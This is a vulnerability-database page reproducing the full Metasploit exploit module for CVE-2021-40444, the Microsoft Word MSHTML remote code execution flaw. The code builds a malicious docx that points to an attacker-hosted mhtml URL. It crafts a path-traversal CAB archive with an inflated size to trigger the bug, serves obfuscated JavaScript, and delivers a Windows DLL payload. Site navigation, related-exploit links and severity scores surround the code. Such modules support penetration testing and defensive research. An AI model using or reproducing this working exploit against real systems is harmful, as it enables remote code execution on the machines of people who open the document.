Lucene search
K

Microsoft Office Word MSHTML Remote Code Execution

🗓️ 09 Dec 2021 00:00:00Reported by LockedByte, Ramella Sebastien, thesunRider, klezVirus, metasploit.comType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 591 Views

Microsoft Office Word MSHTML Remote Code Executio

Related
Code
ReporterTitlePublishedViews
Family
Gitee
Exploit for Path Traversal in Microsoft
3 Oct 202120:23
gitee
Gitee
Exploit for Path Traversal in Microsoft
6 Sep 202500:58
gitee
Gitee
Exploit for Path Traversal in Microsoft
6 Sep 202500:46
gitee
Gitee
Exploit for Path Traversal in Microsoft
8 Oct 202115:46
gitee
Gitee
Exploit for Path Traversal in Microsoft
6 Nov 202103:51
gitee
Gitee
Exploit for Path Traversal in Microsoft
12 Sep 202112:47
gitee
Gitee
Exploit for Path Traversal in Microsoft
9 Oct 202114:52
gitee
0day.today
Microsoft Office Word MSHTML Remote Code Execution Exploit
9 Dec 202100:00
zdt
GithubExploit
Exploit for CVE-2022-30190
31 May 202214:10
githubexploit
GithubExploit
Exploit for Path Traversal in Microsoft
5 Jun 202302:27
githubexploit
Rows per page
`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::FILEFORMAT  
include Msf::Exploit::Remote::HttpServer::HTML  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Microsoft Office Word Malicious MSHTML RCE',  
'Description' => %q{  
This module creates a malicious docx file that when opened in Word on a vulnerable Windows  
system will lead to code execution. This vulnerability exists because an attacker can  
craft a malicious ActiveX control to be used by a Microsoft Office document that hosts  
the browser rendering engine.  
},  
'References' => [  
['CVE', '2021-40444'],  
['URL', 'https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-40444'],  
['URL', 'https://www.sentinelone.com/blog/peeking-into-cve-2021-40444-ms-office-zero-day-vulnerability-exploited-in-the-wild/'],  
['URL', 'http://download.microsoft.com/download/4/d/a/4da14f27-b4ef-4170-a6e6-5b1ef85b1baa/[ms-cab].pdf'],  
['URL', 'https://github.com/lockedbyte/CVE-2021-40444/blob/master/REPRODUCE.md'],  
['URL', 'https://github.com/klezVirus/CVE-2021-40444']  
],  
'Author' => [  
'lockedbyte ', # Vulnerability discovery.  
'klezVirus ', # References and PoC.  
'thesunRider', # Official Metasploit module.  
'mekhalleh (RAMELLA Sébastien)' # Zeop-CyberSecurity - code base contribution and refactoring.  
],  
'DisclosureDate' => '2021-09-23',  
'License' => MSF_LICENSE,  
'Privileged' => false,  
'Platform' => 'win',  
'Arch' => [ARCH_X64],  
'Payload' => {  
'DisableNops' => true  
},  
'DefaultOptions' => {  
'FILENAME' => 'msf.docx'  
},  
'Targets' => [  
[  
'Hosted', {}  
]  
],  
'DefaultTarget' => 0,  
'Notes' => {  
'Stability' => [CRASH_SAFE],  
'Reliability' => [UNRELIABLE_SESSION],  
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]  
}  
)  
)  
  
register_options([  
OptBool.new('OBFUSCATE', [true, 'Obfuscate JavaScript content.', true])  
])  
register_advanced_options([  
OptPath.new('DocxTemplate', [ false, 'A DOCX file that will be used as a template to build the exploit.' ]),  
])  
end  
  
def bin_to_hex(bstr)  
return(bstr.each_byte.map { |b| b.to_s(16).rjust(2, '0') }.join)  
end  
  
def cab_checksum(data, seed = "\x00\x00\x00\x00")  
checksum = seed  
  
bytes = ''  
data.chars.each_slice(4).map(&:join).each do |dword|  
if dword.length == 4  
checksum = checksum.unpack('C*').zip(dword.unpack('C*')).map { |a, b| a ^ b }.pack('C*')  
else  
bytes = dword  
end  
end  
checksum = checksum.reverse  
  
case (data.length % 4)  
when 3  
dword = "\x00#{bytes}"  
when 2  
dword = "\x00\x00#{bytes}"  
when 1  
dword = "\x00\x00\x00#{bytes}"  
else  
dword = "\x00\x00\x00\x00"  
end  
  
checksum = checksum.unpack('C*').zip(dword.unpack('C*')).map { |a, b| a ^ b }.pack('C*').reverse  
end  
  
# http://download.microsoft.com/download/4/d/a/4da14f27-b4ef-4170-a6e6-5b1ef85b1baa/[ms-cab].pdf  
def create_cab(data)  
cab_cfdata = ''  
filename = "../#{File.basename(@my_resources.first)}.inf"  
block_size = 32768  
struct_cffile = 0xd  
struct_cfheader = 0x30  
  
block_counter = 0  
data.chars.each_slice(block_size).map(&:join).each do |block|  
block_counter += 1  
  
seed = "#{[block.length].pack('S')}#{[block.length].pack('S')}"  
csum = cab_checksum(block, seed)  
  
vprint_status("Data block added w/ checksum: #{bin_to_hex(csum)}")  
cab_cfdata << csum # uint32 {4} - Checksum  
cab_cfdata << [block.length].pack('S') # uint16 {2} - Compressed Data Length  
cab_cfdata << [block.length].pack('S') # uint16 {2} - Uncompressed Data Length  
cab_cfdata << block  
end  
  
cab_size = [  
struct_cfheader +  
struct_cffile +  
filename.length +  
cab_cfdata.length  
].pack('L<')  
  
# CFHEADER (http://wiki.xentax.com/index.php/Microsoft_Cabinet_CAB)  
cab_header = "\x4D\x53\x43\x46" # uint32 {4} - Header (MSCF)  
cab_header << "\x00\x00\x00\x00" # uint32 {4} - Reserved (null)  
cab_header << cab_size # uint32 {4} - Archive Length  
cab_header << "\x00\x00\x00\x00" # uint32 {4} - Reserved (null)  
  
cab_header << "\x2C\x00\x00\x00" # uint32 {4} - Offset to the first CFFILE  
cab_header << "\x00\x00\x00\x00" # uint32 {4} - Reserved (null)  
cab_header << "\x03" # byte {1} - Minor Version (3)  
cab_header << "\x01" # byte {1} - Major Version (1)  
cab_header << "\x01\x00" # uint16 {2} - Number of Folders  
cab_header << "\x01\x00" # uint16 {2} - Number of Files  
cab_header << "\x00\x00" # uint16 {2} - Flags  
  
cab_header << "\xD2\x04" # uint16 {2} - Cabinet Set ID Number  
cab_header << "\x00\x00" # uint16 {2} - Sequential Number of this Cabinet file in a Set  
  
# CFFOLDER  
cab_header << [ # uint32 {4} - Offset to the first CFDATA in this Folder  
struct_cfheader +  
struct_cffile +  
filename.length  
].pack('L<')  
cab_header << [block_counter].pack('S<') # uint16 {2} - Number of CFDATA blocks in this Folder  
cab_header << "\x00\x00" # uint16 {2} - Compression Format for each CFDATA in this Folder (1 = MSZIP)  
  
# increase file size to trigger vulnerability  
cab_header << [ # uint32 {4} - Uncompressed File Length ("\x02\x00\x5C\x41")  
data.length + 1073741824  
].pack('L<')  
  
# set current date and time in the format of cab file  
date_time = Time.new  
date = [((date_time.year - 1980) << 9) + (date_time.month << 5) + date_time.day].pack('S')  
time = [(date_time.hour << 11) + (date_time.min << 5) + (date_time.sec / 2)].pack('S')  
  
# CFFILE  
cab_header << "\x00\x00\x00\x00" # uint32 {4} - Offset in the Uncompressed CFDATA for the Folder this file belongs to (relative to the start of the Uncompressed CFDATA for this Folder)  
cab_header << "\x00\x00" # uint16 {2} - Folder ID (starts at 0)  
cab_header << date # uint16 {2} - File Date (\x5A\x53)  
cab_header << time # uint16 {2} - File Time (\xC3\x5C)  
cab_header << "\x20\x00" # uint16 {2} - File Attributes  
cab_header << filename # byte {X} - Filename (ASCII)  
cab_header << "\x00" # byte {1} - null Filename Terminator  
  
cab_stream = cab_header  
  
# CFDATA  
cab_stream << cab_cfdata  
end  
  
def generate_html  
uri = "#{@proto}://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}#{normalize_uri(@my_resources.first.to_s)}.cab"  
inf = "#{File.basename(@my_resources.first)}.inf"  
  
file_path = ::File.join(::Msf::Config.data_directory, 'exploits', 'CVE-2021-40444', 'cve_2021_40444.js')  
js_content = ::File.binread(file_path)  
  
js_content.gsub!('REPLACE_INF', inf)  
js_content.gsub!('REPLACE_URI', uri)  
if datastore['OBFUSCATE']  
print_status('Obfuscate JavaScript content')  
  
js_content = Rex::Exploitation::JSObfu.new js_content  
js_content = js_content.obfuscate(memory_sensitive: false)  
end  
  
html = '<!DOCTYPE html><html><head><meta http-equiv="Expires" content="-1"><meta http-equiv="X-UA-Compatible" content="IE=11"></head><body><script>'  
html += js_content.to_s  
html += '</script></body></html>'  
html  
end  
  
def get_file_in_docx(fname)  
i = @docx.find_index { |item| item[:fname] == fname }  
  
unless i  
fail_with(Failure::NotFound, "This template cannot be used because it is missing: #{fname}")  
end  
  
@docx.fetch(i)[:data]  
end  
  
def get_template_path  
datastore['DocxTemplate'] || File.join(Msf::Config.data_directory, 'exploits', 'CVE-2021-40444', 'cve-2021-40444.docx')  
end  
  
def inject_docx  
document_xml = get_file_in_docx('word/document.xml')  
unless document_xml  
fail_with(Failure::NotFound, 'This template cannot be used because it is missing: word/document.xml')  
end  
  
document_xml_rels = get_file_in_docx('word/_rels/document.xml.rels')  
unless document_xml_rels  
fail_with(Failure::NotFound, 'This template cannot be used because it is missing: word/_rels/document.xml.rels')  
end  
  
uri = "#{@proto}://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}#{normalize_uri(@my_resources.first.to_s)}.html"  
@docx.each do |entry|  
case entry[:fname]  
when 'word/document.xml'  
entry[:data] = document_xml.to_s.gsub!('TARGET_HERE', uri.to_s)  
when 'word/_rels/document.xml.rels'  
entry[:data] = document_xml_rels.to_s.gsub!('TARGET_HERE', "mhtml:#{uri}!x-usc:#{uri}")  
end  
end  
end  
  
def normalize_uri(*strs)  
new_str = strs * '/'  
  
new_str = new_str.gsub!('//', '/') while new_str.index('//')  
  
# makes sure there's a starting slash  
unless new_str[0, 1] == '/'  
new_str = '/' + new_str  
end  
  
new_str  
end  
  
def on_request_uri(cli, request)  
header_cab = {  
'Access-Control-Allow-Origin' => '*',  
'Access-Control-Allow-Methods' => 'GET, POST, OPTIONS',  
'Cache-Control' => 'no-store, no-cache, must-revalidate',  
'Content-Type' => 'application/octet-stream',  
'Content-Disposition' => "attachment; filename=#{File.basename(@my_resources.first)}.cab"  
}  
  
header_html = {  
'Access-Control-Allow-Origin' => '*',  
'Access-Control-Allow-Methods' => 'GET, POST',  
'Cache-Control' => 'no-store, no-cache, must-revalidate',  
'Content-Type' => 'text/html; charset=UTF-8'  
}  
  
if request.method.eql? 'HEAD'  
if request.raw_uri.to_s.end_with? '.cab'  
send_response(cli, '', header_cab)  
else  
send_response(cli, '', header_html)  
end  
elsif request.method.eql? 'OPTIONS'  
response = create_response(501, 'Unsupported Method')  
response['Content-Type'] = 'text/html'  
response.body = ''  
  
cli.send_response(response)  
elsif request.raw_uri.to_s.end_with? '.html'  
print_status('Sending HTML Payload')  
  
send_response_html(cli, generate_html, header_html)  
elsif request.raw_uri.to_s.end_with? '.cab'  
print_status('Sending CAB Payload')  
  
send_response(cli, create_cab(@dll_payload), header_cab)  
end  
end  
  
def pack_docx  
@docx.each do |entry|  
if entry[:data].is_a?(Nokogiri::XML::Document)  
entry[:data] = entry[:data].to_s  
end  
end  
  
Msf::Util::EXE.to_zip(@docx)  
end  
  
def unpack_docx(template_path)  
document = []  
  
Zip::File.open(template_path) do |entries|  
entries.each do |entry|  
if entry.name.match(/\.xml|\.rels$/i)  
content = Nokogiri::XML(entry.get_input_stream.read) if entry.file?  
elsif entry.file?  
content = entry.get_input_stream.read  
end  
  
vprint_status("Parsing item from template: #{entry.name}")  
  
document << { fname: entry.name, data: content }  
end  
end  
  
document  
end  
  
def primer  
print_status('CVE-2021-40444: Generate a malicious docx file')  
  
@proto = (datastore['SSL'] ? 'https' : 'http')  
if datastore['SRVHOST'] == '0.0.0.0'  
datastore['SRVHOST'] = Rex::Socket.source_address  
end  
  
template_path = get_template_path  
unless File.extname(template_path).match(/\.docx$/i)  
fail_with(Failure::BadConfig, 'Template is not a docx file!')  
end  
  
print_status("Using template '#{template_path}'")  
@docx = unpack_docx(template_path)  
  
print_status('Injecting payload in docx document')  
inject_docx  
  
print_status("Finalizing docx '#{datastore['FILENAME']}'")  
file_create(pack_docx)  
  
@dll_payload = Msf::Util::EXE.to_win64pe_dll(  
framework,  
payload.encoded,  
{  
arch: payload.arch.first,  
mixed_mode: true,  
platform: 'win'  
}  
)  
end  
end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

09 Dec 2021 00:00Current
CVSS 26.8
CVSS 3.17.8 - 8.8
EPSS0.94332
591